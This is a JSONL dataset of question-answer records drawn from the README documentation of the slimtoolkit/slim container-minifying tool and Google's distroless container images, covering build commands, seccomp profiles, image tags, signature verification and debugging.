{"id": "gh_afe7c8bed008", "question": "How to: MINIFYING COMMAND LINE TOOLS", "question_body": "About slimtoolkit/slim", "answer": "Unless the default CMD instruction in your Dockerfile is sufficient you'll have to specify command line parameters when you execute the `build` command in Slim. This can be done with the `--cmd` option.\n\nOther useful command line parameters:\n\n- `--show-clogs` - use it if you want to see the output of your container.\n- `--mount` - use it to mount a volume when Slim inspects your image.\n- `--entrypoint` - use it if you want to override the ENTRYPOINT instruction when Slim inspects your image.\n\nNote that the `--entrypoint` and `--cmd` options don't override the `ENTRYPOINT` and `CMD` instructions in the final minified image.\n\nHere's a sample `build` command:\n\n`slim build --show-clogs=true --cmd docker-compose.yml --mount $(pwd)/data/:/data/ dslim/container-transform`\n\nIt's used to minify the `container-transform` tool. You can get the minified image from [`Docker Hub`](https://hub.docker.com/r/dslim/container-transform.slim/).", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063228"}
{"id": "gh_7e19ea9fdfc2", "question": "How to: QUICK SECCOMP EXAMPLE", "question_body": "About slimtoolkit/slim", "answer": "If you want to auto-generate a Seccomp profile AND minify your image use the `build` command. If you only want to auto-generate a Seccomp profile (along with other interesting image metadata) use the `profile` command.\n\nStep one: run Slim\n\n`slim build your-name/your-app`\n\nStep two: use the generated Seccomp profile\n\n`docker run --security-opt seccomp:\n/.images/\n/artifacts/your-name-your-app-seccomp.json\nyour-name/your-app`\n\nFeel free to copy the generated profile :-)\n\nYou can use the generated Seccomp profile with your original image or with the minified image.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063235"}
{"id": "gh_827d259c703e", "question": "How to: USING AUTO-GENERATED SECCOMP PROFILES", "question_body": "About slimtoolkit/slim", "answer": "You can use the generated profile with your original image or with the minified image Slim created:\n\n`docker run -it --rm --security-opt seccomp:path_to/my-sample-node-app-seccomp.json -p 8000:8000 my/sample-node-app.slim`", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063240"}
{"id": "gh_0de5889696a8", "question": "How to: ORIGINAL DEMO VIDEO", "question_body": "About slimtoolkit/slim", "answer": "[![DockerSlim demo](http://img.youtube.com/vi/uKdHnfEbc-E/0.jpg)](https://www.youtube.com/watch?v=uKdHnfEbc-E)\n\n[Demo video on YouTube](https://youtu.be/uKdHnfEbc-E)", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063246"}
{"id": "gh_ce5b2db1ca92", "question": "How to: DEMO STEPS", "question_body": "About slimtoolkit/slim", "answer": "The demo runs on Mac OS X, but you can build a linux version. Note that these steps are different from the steps in the demo video.\n\n1. Get the Slim app binaries:\n\n* [Mac](https://github.com/slimtoolkit/slim/releases/download/1.40.11/dist_mac.zip),\n* [Mac M1](https://github.com/slimtoolkit/slim/releases/download/1.40.11/dist_mac_m1.zip), \n* [Linux](https://github.com/slimtoolkit/slim/releases/download/1.40.11/dist_linux.tar.gz), \n* [Linux ARM](https://github.com/slimtoolkit/slim/releases/download/1.40.11/dist_linux_arm.tar.gz),\n* [Linux ARM64](https://github.com/slimtoolkit/slim/releases/download/1.40.11/dist_linux_arm64.tar.gz) \n\nUnzip them and optionally add their directory to your `PATH` environment variable if you want to use the app from other locations.\n\nThe extracted directory contains two binaries (and now it also contains a symlink for the old name):\n\n- `slim` <- the main Slim application binary\n- `slim-sensor` <- the sensor application used to collect information from running containers\n- `docker-slim` <- the symlink to `slim`, the new main app binary (useful if you are still using the old name in your scripts)\n\n2. Clone the `examples` repo to use the sample apps (note: the examples have been moved to a separate repo). You can skip this step if you have your own app.\n\n`git clone https://github.com/slimtoolkit/examples.git`\n\n3. Create a Docker image for the sample node.js app in `examples/node_ubuntu`. You can skip this step if you have your own app.\n\n`cd examples/node_ubuntu`\n\n`docker build -t my/sample-node-app .`\n\n4. Run the Slim app:\n\n`./slim build my/sample-node-app` <- run it from the location where you extracted the Slim app binaries (or update your `PATH` env var to include the directory where the Slim app binaries are located)\n\nSlim creates a special container based on the target image you provided. It also creates a resource directory where it stores the information it discovers about your image: `\n/.images/\n`.\n\nBy default, the Slim app will run its http probe against the temporary container. If you are minifying a command line tool that doesn't expose any web service interface you'll need to explicitly disable http probing (by setting `--http-probe=false`).\n\n5. Use curl (or other tools) to call the sample app (optional)\n\n`curl http://\n:\n`\n\nThis is an optional step to make sure the target app container is doing something. Depending on the application it's an optional step. For some applications it's required if it loads new application resources dynamically based on the requests it's processing (e.g., Ruby or Python).\n\nYou'll see the mapped ports printed to the console when the Slim app starts the target container. You can also get the port number either from the `docker ps` or `docker port\n` commands. The current version of DockerSlim doesn't allow you to map exposed network ports (it works like `docker run … -P`).\n\n6. Press\nand wait until the Slim app says it's done\n\nBy default or when http probing is enabled explicitly the Slim app will continue its execution once the http probe is done running. If you explicitly picked a different `continue-after` option follow the expected steps. For example, for the `enter` `continue-after` option you must press the `enter` button on your keyboard.\n\nIf http probing is enabled (when `http-probe` is set) and if `continue-after` is set to `enter` and you press the `enter` key before the built-in HTTP probe is done the probe might produce an EOF error because the Slim app will shut down the target container before all probe commands are done executing. It's ok to ignore it unless you really need the probe to finish.\n\n7. Once Slim is done check that the new minified image is there\n\n`docker images`\n\nYou should see `my/sample-node-app.slim` in the list of images. Right now all generated images have `.slim` at the end of its name.\n\n8. Use the minified image\n\n`docker run -it --rm --name=\"slim_node_app\" -p 8000:8000 my/sample-node-app.slim`", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063265"}
{"id": "gh_bbbbc34a1ecc", "question": "How to: Is it safe for production use?", "question_body": "About slimtoolkit/slim", "answer": "Yes! Either way, you should test your Docker images.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063271"}
{"id": "gh_fee2adbb62e3", "question": "How to: How can I contribute if I don't know Go?", "question_body": "About slimtoolkit/slim", "answer": "You don't need to read the language spec and lots of books :-) Go through the [Tour of Go](https://tour.golang.org/welcome/1) and optionally read [50 Shades of Go](https://golang50shades.com/) and you'll be ready to contribute!", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063276"}
{"id": "gh_026342440189", "question": "How to: What's the best application for Slim?", "question_body": "About slimtoolkit/slim", "answer": "SlimRToolkit will work for any containerized application; however, Slim automates app interactions for applications with an HTTP API. You can use Slim even if your app doesn't have an HTTP API. You'll need to interact with your application manually to make sure Slim can observe your application behavior.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063281"}
{"id": "gh_bb9ce0090c7a", "question": "How to: Can I use Slim with dockerized command line tools?", "question_body": "About slimtoolkit/slim", "answer": "Yes. The `--cmd`, `--entrypoint`, and `--mount` options will help you minify your image. The `container-transform` tool is a good example.\n\nNotes:\n\nYou can explore the artifacts Slim generates when it's creating a slim image. You'll find those in `\n/.images/\n/artifacts`. One of the artifacts is a \"reverse engineered\" Dockerfile for the original image. It'll be called `Dockerfile.reversed`.\n\nIf you don't want to create a minified image and only want to \"reverse engineer\" the Dockerfile you can use the `info` command.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063288"}
{"id": "gh_2ba76d5a0ced", "question": "How to: What if my Docker images uses the USER command?", "question_body": "About slimtoolkit/slim", "answer": "The current version of Slim does include support for non-default users (take a look at the non-default user examples (including the ElasticSearch example located in the `3rdparty` directory) in the [`examples`](https://github.com/slimtoolkit/examples) repo. Please open tickets if something doesn't work for you.\n\nEverything should work as-is, but for the special cases where the current behavior don't work as expected you can adjust what Slim does using various `build` command parameters: `--run-target-as-user`, `--keep-perms`, `--path-perms`, `--path-perms-file` (along with the `--include-*` parameters).\n\nThe `--run-target-as-user` parameter is enabled by default and it controls if the application in the temporary container is started using the identity from the USER instruction in the container's Dockerfile.\n\nThe `--keep-perms` parameter is also enabled by default. It tells Slim to retain the permissions and the ownership information for the files and directories copied to the optimized container image.\n\nThe `--path-perms` and `--path-perms-file` parameters are similar to the `--include-path` and `--include-path-file` parameters. They are used to overwrite the permission and the user/group information for the target files and directories. Note that the target files/directories are expected to be in the optimized container image. If you don't know if the target files/directories will be in the optimized container you'll need to use one of the `--include-*` parameters (e.g., `--include-path-file`) to explicitly require those artifacts to be included. You can specify the permissions and the ownership information in the `--include-*` parameters too (so you don't need to have the `--path-*` parameters just to set the permissions).\n\nThe `--path-*` and `--include-*` params use the same format to communicate the permission/owernship info: `TARGET_PATH_OR_NAME:PERMS_IN_OCTAL_FORMAT#USER_ID#GROUP_ID`.\n\nYou don't have to specify the user and group IDs if you don't want to change them.\n\nHere's an example using these parameters to minify the standard `nginx` image adding extra artifacts and changing their permissions: `slim build --include-path='/opt:770#104#107' --include-path='/bin/uname:710' --path-perms='/tmp:700' nginx`.\n\nThis is what you'll see in the optimized container image:\n\n```\ndrwx------  0 0      0           0 Feb 28 22:15 tmp/\n-rwx--x---  0 0      0       31240 Mar 14  2015 bin/uname\ndrwxrwx---  0 104    107         0 Feb 28 22:13 opt/\n```\n\nThe `uname` binary isn't used by nginx, so the `--include-path` parameter is used to keep it in the optimized image changing its permissions to `710`.\n\nThe `/tmp` directory will be included in the optimized image on its own, so the `--path-perms` parameter is used to change its permissions to `700`.\n\nWhen you set permissions/user/group on a directory the settings are only applied to that directory and not to the artifacts inside. The future versions will allow you to apply the same settings to everything inside the target directory too.\n\nAlso note that for now you have to use numeric user and group IDs. The future versions will allow you to use user and group names too.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22689, "answer_score": 10, "has_code": true, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063297"}
{"id": "gh_c6646e3c4bc7", "question": "How to: Nginx fails in my minified image", "question_body": "About slimtoolkit/slim", "answer": "If you see `nginx: [emerg] mkdir() \"/var/lib/nginx/body\" failed` it means your nginx setup uses a non-standard temporary directory. Nginx will fail if the base directory for its temporary folders doesn't exist (they won't create the missing intermediate directories). Normally it's `/var/lib/nginx`, but if you have a custom config that points to something else you'll need to add an `--include-path` flag as an extra flag when you run the Slim app.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063303"}
{"id": "gh_3163daa8c7ef", "question": "How to: Slim fails with a 'no permission to read from' error", "question_body": "About slimtoolkit/slim", "answer": "This problem shouldn't happen anymore because the exported artifacts are saved in a tar file and the master app doesn't need to access the files directly anymore.\n\nIf you run older versions of Slim you can get around this problem by running Slim from a root shell. That way it will have access to all exported files.\n\nSlim copies the relevant image artifacts trying to preserve their permissions. If the permissions are too restrictive the master app might not have sufficient privilege to access these files when it's building the new minified image.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063309"}
{"id": "gh_8eb2a0c7576c", "question": "How to: BUILD PROCESS", "question_body": "About slimtoolkit/slim", "answer": "#### Build Options\n\nPick one of the build options that works best for you.\n\n##### Containerized\n\nRun `make build_in_docker` on linux or `make build_m1_in_docker` on Macs (or `./scripts/docker-builder.run.sh` or click on `./scripts/mac/docker-builder.run.command` on Macs) from the project directory (builds Slim in a Docker container; great if you don't want to install Go on your local machine and if you already have Docker).\n\n##### Native\n\nRun `make build` on linux or `make build_m1` on Macs (or `./scripts/src.build.sh` or click on `./scripts/mac/src.build.command` on Macs) to build Slim natively (requires Go installed locally).\n\nNote:\n\nTry using the latest version of Go building the Slim app. The current version of Go used to build the Slim app is 1.21.\n\n##### Gitpod\n\nIf you have a web browser, you can get a fully pre-configured development environment in one click:\n\n[![Open in Gitpod](https://gitpod.io/button/open-in-gitpod.svg)](https://gitpod.io/#https://github.com/slimtoolkit/slim)\n\n##### Additional Tools\n\n- `license-bill-of-materials` - Optional tool to track dependencies and their licenses.\n- `golint` - Optional tool for code analysis. See `https://github.com/golang/lint` for more details.\n\nYou can install these tools using the `tools.get.sh` shell script in the `scripts` directory.\n\nNotes:\n\n- Make sure you have `golint` if you intend to run the `src.inspect.sh` or `mac.src.inspect.command` scripts.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063318"}
{"id": "gh_a9b71caf11f8", "question": "How to: CONTRIBUTING", "question_body": "About slimtoolkit/slim", "answer": "If the project sounds interesting or if you found a bug see [`CONTRIBUTING.md`](CONTRIBUTING.md) and submit a PR or open an issue! Non-code contributions including docs are highly appreciated! Open an issue even if you have a question or something is not clear.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063324"}
{"id": "gh_389576d44b08", "question": "How to: CORE CONCEPTS", "question_body": "About slimtoolkit/slim", "answer": "1. Inspect container metadata (static analysis)\n2. Inspect container data (static analysis)\n3. Inspect running application (dynamic analysis)\n4. Build an application artifact graph\n5. Use the collected application data to build small images\n6. Use the collected application data to auto-generate various security framework configurations.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063329"}
{"id": "gh_51a92205e4bf", "question": "How to: DYNAMIC ANALYSIS OPTIONS", "question_body": "About slimtoolkit/slim", "answer": "1. Instrument the container image (and replace the entrypoint/cmd) to collect application activity data\n2. Use kernel-level tools that provide visibility into running containers (without instrumenting the containers)\n3. Disable relevant namespaces in the target container to gain container visibility (can be done with runC)", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063335"}
{"id": "gh_91c5ac8c6018", "question": "How to: CHALLENGES", "question_body": "About slimtoolkit/slim", "answer": "Some of the advanced analysis options require a number of Linux kernel features that are not always included. The kernel you get with Docker Machine / Boot2docker is a great example of that.", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063341"}
{"id": "gh_606ab631c68e", "question": "How to: CODE OF CONDUCT", "question_body": "About slimtoolkit/slim", "answer": "The project follows the [CNCF Code of Conduct](https://github.com/cncf/foundation/blob/main/code-of-conduct.md).\n\n---\n\n**We are a [Cloud Native Computing Foundation](https://cncf.io/) sandbox project.**\n---\n\n[![Go Report Card](https://goreportcard.com/badge/github.com/slimtoolkit/slim)](https://goreportcard.com/report/github.com/slimtoolkit/slim)", "tags": ["slimtoolkit"], "source": "github_gists", "category": "slimtoolkit", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22689, "answer_score": 10, "has_code": false, "url": "https://github.com/slimtoolkit/slim", "collected_at": "2026-01-16T23:28:29.063347"}
{"id": "gh_75f8301e11b5", "question": "How to: Why should I use distroless images?", "question_body": "About GoogleContainerTools/distroless", "answer": "Restricting what's in your runtime container to precisely what's necessary for your app is a best practice employed by Google\nand other tech giants that have used containers in production for many years.\nIt improves the signal to noise of scanners (e.g. CVE) and reduces the burden of establishing provenance to just what you need.\n\nDistroless images are _very small_.\nThe smallest distroless image, `gcr.io/distroless/static-debian12`, is around 2 MiB.\nThat's about 50% of the size of `alpine` (~5 MiB), and less than 2% of the size of `debian` (124 MiB).", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22071, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750273"}
{"id": "gh_b531b28be69c", "question": "How to: How do I use distroless images?", "question_body": "About GoogleContainerTools/distroless", "answer": "These images are built using [bazel](https://bazel.build), but they can also be used through other Docker image build tooling.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 22071, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750287"}
{"id": "gh_9d9086540b92", "question": "How to: What images are available?", "question_body": "About GoogleContainerTools/distroless", "answer": "The following images are currently published and updated by the distroless project (see [SUPPORT_POLICY.md](SUPPORT_POLICY.md) for support timelines)\n\nThese images refer to image indexes with references to all supported architectures. Architecture specific images can be directly referenced using an additional architecture suffix on the tag, like `gcr.io/distroless/static-debian12:latest-amd64`\n\nAny other tags are considered deprecated and are no longer updated\n\n#### Debian 12\n\n| Image                                 | Tags                                  | Architecture Suffixes             |\n| ------------------------------------- | ------------------------------------- | --------------------------------- |\n| gcr.io/distroless/static-debian12     | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/base-debian12       | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/base-nossl-debian12 | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/cc-debian12         | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/python3-debian12    | latest, nonroot, debug, debug-nonroot | amd64, arm64                      |\n| gcr.io/distroless/java-base-debian12  | latest, nonroot, debug, debug-nonroot | amd64, arm64, s390x, ppc64le      |\n| gcr.io/distroless/java17-debian12     | latest, nonroot, debug, debug-nonroot | amd64, arm64, s390x, ppc64le      |\n| gcr.io/distroless/java21-debian12     | latest, nonroot, debug, debug-nonroot | amd64, arm64, s390x, ppc64le      |\n| gcr.io/distroless/nodejs20-debian12   | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/nodejs22-debian12   | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/nodejs24-debian12   | latest, nonroot, debug, debug-nonroot | amd64, arm64, s390x, ppc64le      |\n\n#### Debian 13\n\nDebian 13 distroless images use the debian [UsrMerge](https://wiki.debian.org/UsrMerge) scheme. If you use `rules_distroless` to add packages to an image, set `mergedusr = True` in [`apt.install`](https://registry.bazel.build/docs/rules_distroless#apt_install).\n\n| Image                                 | Tags                                  | Architecture Suffixes             |\n| ------------------------------------- | ------------------------------------- | --------------------------------- |\n| gcr.io/distroless/static-debian13     | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/base-debian13       | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/base-nossl-debian13 | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/cc-debian13         | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/java-base-debian13  | latest, nonroot, debug, debug-nonroot | amd64, arm64, s390x, ppc64le      |\n| gcr.io/distroless/java21-debian13     | latest, nonroot, debug, debug-nonroot | amd64, arm64, s390x, ppc64le      |\n| gcr.io/distroless/java25-debian13     | latest, nonroot, debug, debug-nonroot | amd64, arm64, s390x, ppc64le      |\n| gcr.io/distroless/nodejs20-debian13   | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/nodejs22-debian13   | latest, nonroot, debug, debug-nonroot | amd64, arm64, arm, s390x, ppc64le |\n| gcr.io/distroless/nodejs24-debian13   | latest, nonroot, debug, debug-nonroot | amd64, arm64, s390x, ppc64le      |\n\n#### Debian 13 (preview)\n\nImages that are still being worked on\n\n| Image                                 | Tags                                  | Architecture Suffixes             |\n| ------------------------------------- | ------------------------------------- | --------------------------------- |\n| gcr.io/distroless/python3-debian13    | latest, nonroot, debug, debug-nonroot | amd64, arm64                      |", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22071, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750302"}
{"id": "gh_2728afa383b0", "question": "How to: Why is distroless still using `gcr.io` instead of `pkg.dev`?", "question_body": "About GoogleContainerTools/distroless", "answer": "Distroless's serving infrastructure has moved to artifact registry but we still use the `gcr.io` domain. Users will get the benefits of the newer infrastructure without changing their builds.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 22071, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750309"}
{"id": "gh_7532eb0180c1", "question": "How to: How do I verify distroless images?", "question_body": "About GoogleContainerTools/distroless", "answer": "All distroless images are signed by [cosign](https://github.com/sigstore/cosign) with ephemeral keys (keyless) -- this is the only supported mechanism starting November 2023.\nWe recommend verifying any distroless image you use before building your image. You can verify the keyless signature of any distroless image with:\n\n```sh\ncosign verify $IMAGE_NAME --certificate-oidc-issuer https://accounts.google.com --certificate-identity keyless@distroless.iam.gserviceaccount.com\n```", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 22071, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750315"}
{"id": "gh_e7c58d805e4a", "question": "How to: Entrypoints", "question_body": "About GoogleContainerTools/distroless", "answer": "Note that distroless images by default do not contain a shell.\nThat means the Dockerfile `ENTRYPOINT` command, when defined, must be specified in `vector` form, to avoid the container runtime prefixing with a shell.\n\nThis works:\n\n```dockerfile\nENTRYPOINT [\"myapp\"]\n```\n\nBut this does not work:\n\n```dockerfile\nENTRYPOINT \"myapp\"\n```\n\nFor the same reasons, if the entrypoint is set to the empty vector, the CMD command should be specified in `vector` form (see examples below).\nNote that by default static, base and cc images have the empty vector entrypoint. Images with an included language runtime have a language specific default (see: [java](java/README.md#usage), [nodejs](nodejs/README.md#usage), [python3](python3/README.md#usage)).", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22071, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750323"}
{"id": "gh_d11c8b8f7300", "question": "How to: Start by building the application.", "question_body": "About GoogleContainerTools/distroless", "answer": "FROM golang:1.18 as build\n\nWORKDIR /go/src/app\nCOPY . .\n\nRUN go mod download\nRUN CGO_ENABLED=0 go build -o /go/bin/app", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 22071, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750330"}
{"id": "gh_273e46d661c9", "question": "How to: Now copy it into our base image.", "question_body": "About GoogleContainerTools/distroless", "answer": "FROM gcr.io/distroless/static-debian12\nCOPY --from=build /go/bin/app /\nCMD [\"/app\"]\n```\n\nYou can find other examples here:\n\n- [Java](examples/java/Dockerfile)\n- [Python 3](examples/python3/Dockerfile)\n- [Go](examples/go/Dockerfile)\n- [Node.js](examples/nodejs/Dockerfile)\n- [Rust](examples/rust/Dockerfile)\n\nTo run any example, go to the directory for the language and run:\n\n```sh\ndocker build -t myapp .\ndocker run -t myapp\n```\n\nTo run the [Node.js Express example app](examples/nodejs/node-express) and expose the container's ports:\n\n```sh\nnpm install # Install express and its transitive dependencies\ndocker build -t myexpressapp . # Normal build command\ndocker run -p 3000:3000 -t myexpressapp\n```\n\nThis should expose the Express application to your `localhost:3000`", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22071, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750338"}
{"id": "gh_2fd583b0aabf", "question": "How to: Base Operating System", "question_body": "About GoogleContainerTools/distroless", "answer": "Distroless images are based on Debian 12 (bookworm). Images are explicitly tagged with Debian version suffixes (e.g. `-debian12`). Specifying an image without the distribution will currently select `-debian12` images, but that will change in the future to a newer version of Debian. It can be useful to reference the distribution explicitly, to prevent breaking builds when the next Debian version is released.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 22071, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750347"}
{"id": "gh_32ec9c7d7677", "question": "How to: Operating System Updates for Security Fixes and CVEs", "question_body": "About GoogleContainerTools/distroless", "answer": "Distroless tracks the upstream Debian releases, using [Github actions to automatically generate a pull request when there are updates](https://github.com/GoogleContainerTools/distroless/blob/main/.github/workflows/update-deb-package-snapshots.yml).", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 22071, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750352"}
{"id": "gh_000a722bfc0f", "question": "How to: Debug Images", "question_body": "About GoogleContainerTools/distroless", "answer": "Distroless images are minimal and lack shell access. The `:debug` image set for each language provides a busybox shell to enter.\n\nFor example:\n\n```sh\ncd examples/python3/\n```\n\nedit the `Dockerfile` to change the final image to `:debug`:\n\n```dockerfile\nFROM gcr.io/distroless/python3-debian12:debug\nCOPY . /app\nWORKDIR /app\nCMD [\"hello.py\", \"/etc\"]\n```\n\nthen build and launch with a shell entrypoint:\n\n```sh\ndocker build -t my_debug_image .\n```\n\n```sh\n$ docker run --entrypoint=sh -ti my_debug_image\n\n/app # ls\nBUILD       Dockerfile  hello.py\n```\n\n> Note: If the image you are using already has a tag, for example `gcr.io/distroless/java17-debian12:nonroot`, use the tag `debug-\n` instead, for example `gcr.io/distroless/java17-debian12:debug-nonroot`.\n\n> Note: [ldd](http://man7.org/linux/man-pages/man1/ldd.1.html) is not installed in the base image as it's a shell script, you can copy it in or download it.", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 22071, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750360"}
{"id": "gh_3d5b55d1b326", "question": "How to: Who uses Distroless?", "question_body": "About GoogleContainerTools/distroless", "answer": "- [Kubernetes](https://github.com/kubernetes/enhancements/blob/master/keps/sig-release/1729-rebase-images-to-distroless/README.md), since v1.15\n- [Knative](https://knative.dev)\n- [Tekton](https://tekton.dev)\n- [Teleport](https://goteleport.com)\n- [BloodHound](https://github.com/SpecterOps/BloodHound) by [SpecterOps](https://specterops.io/)\n\nIf your project uses Distroless, send a PR to add your project here!", "tags": ["GoogleContainerTools"], "source": "github_gists", "category": "GoogleContainerTools", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 22071, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleContainerTools/distroless", "collected_at": "2026-01-16T23:28:31.750366"}
